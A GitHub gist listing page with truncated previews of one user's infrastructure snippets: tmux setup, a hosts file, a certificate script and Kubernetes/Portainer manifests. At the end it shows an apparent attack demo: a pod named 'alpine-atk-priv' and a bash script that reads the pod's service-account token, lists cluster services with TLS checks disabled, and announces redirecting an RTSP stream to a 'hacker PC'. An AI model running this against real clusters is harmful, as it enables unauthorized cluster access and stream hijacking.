Skip to content

Instantly share code, notes, and snippets.

@garygan89
garygan89 / setup-tmux-resurrect.sh
Created August 29, 2021 22:43
Easy install tmux resurrect and continuum
#!/bin/bash
git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm
cat <<EOF > ~/.tmux.conf
# List of plugins
set -g @plugin 'tmux-plugins/tpm'
set -g @plugin 'tmux-plugins/tmux-sensible'
# Plugin: tmux-resurrect
@garygan89
garygan89 / hostfile_win.txt
Created September 5, 2021 23:18
Hostfile (Windows) to access FE Cloud Services
192.168.10.195 traefik.fiduciaedge.io
192.168.10.195 vault.fiduciaedge.io
192.168.10.195 mender.fiduciaedge.io
192.168.10.195 minio.mender.fiduciaedge.io
192.168.10.195 api.fiduciaedge.io
192.168.10.195 prometheus.fiduciaedge.io
192.168.10.195 alertmanager.fiduciaedge.io
192.168.10.195 grafana.fiduciaedge.io
@garygan89
garygan89 / add-letsencrypt-trust-store.sh
Created September 23, 2021 09:12
Add letsencrypt trust store to Ubuntu in case it's not added
#!/bin/bash
# Add letsencrypt trust store to Ubuntu in case it's not added
CERT_FILE="LetsEncryptAcmeCA.crt"
cat <<EOF > $CERT_FILE
-----BEGIN CERTIFICATE-----
MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw
WhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
@garygan89
garygan89 / fecb-deployment-alpine.yaml
Created October 4, 2021 03:02
fecb-deployment-alpine.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: alpine
spec:
replicas: 1
selector:
matchLabels:
app: alpine
template:
@garygan89
garygan89 / portainer-deployment.yaml
Created October 29, 2021 06:22
Portainer-Deployment Example
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"apps/v1","kind":"Deployment","metadata":{"annotations":{},"name":"portainer-agent","namespace":"portels":{"app":"portainer-agent"}},"template":{"metadata":{"labels":{"app":"portainer-agent"}},"spec":{"containers":[{"env":,{"name":"AGENT_CLUSTER_ADDR","value":"portainer-agent-headless"},{"name":"KUBERNETES_POD_IP","valueFrom":{"fieldRef":{"f"portainer/agent:latest","imagePullPolicy":"Always","name":"portainer-agent","ports":[{"containerPort":9001,"protocol":"Ter-sa-clusteradmin"}}}}
creationTimestamp: "2021-10-26T04:54:58Z"
generation: 1
name: portainer-agent
{
"metadata": {
"name": "alpine-atk-priv",
"namespace": "default",
"attempt": 1,
"uid": "hdishd83djaidwnduwk28bcsb"
},
"log_directory": "/tmp",
"linux": {
}
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "busybox"
},
"command": [
"top"
],
{
"source": "publisher",
"sourceProtocol": "automatic",
"sourceAnyPortEnable": false,
"sourceFingerprint": "",
"sourceOnDemand": false,
"sourceOnDemandStartTimeout": "10s",
"sourceOnDemandCloseAfter": "10s",
"sourceRedirect": "",
"disablePublisherOverride": false,
{
"source": "publisher",
"sourceProtocol": "automatic",
"sourceAnyPortEnable": false,
"sourceFingerprint": "",
"sourceOnDemand": false,
"sourceOnDemandStartTimeout": "10s",
"sourceOnDemandCloseAfter": "10s",
"sourceRedirect": "",
"disablePublisherOverride": false,
#!/bin/bash
echo "Checking list of running services in k8s cluster..."
# get list of running services
kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get svc -A 2>&1
if [ $? -eq 0 ]; then
sleep 5
echo "Redirecting RTSP stream to hacker PC..."
# modify rtsp stream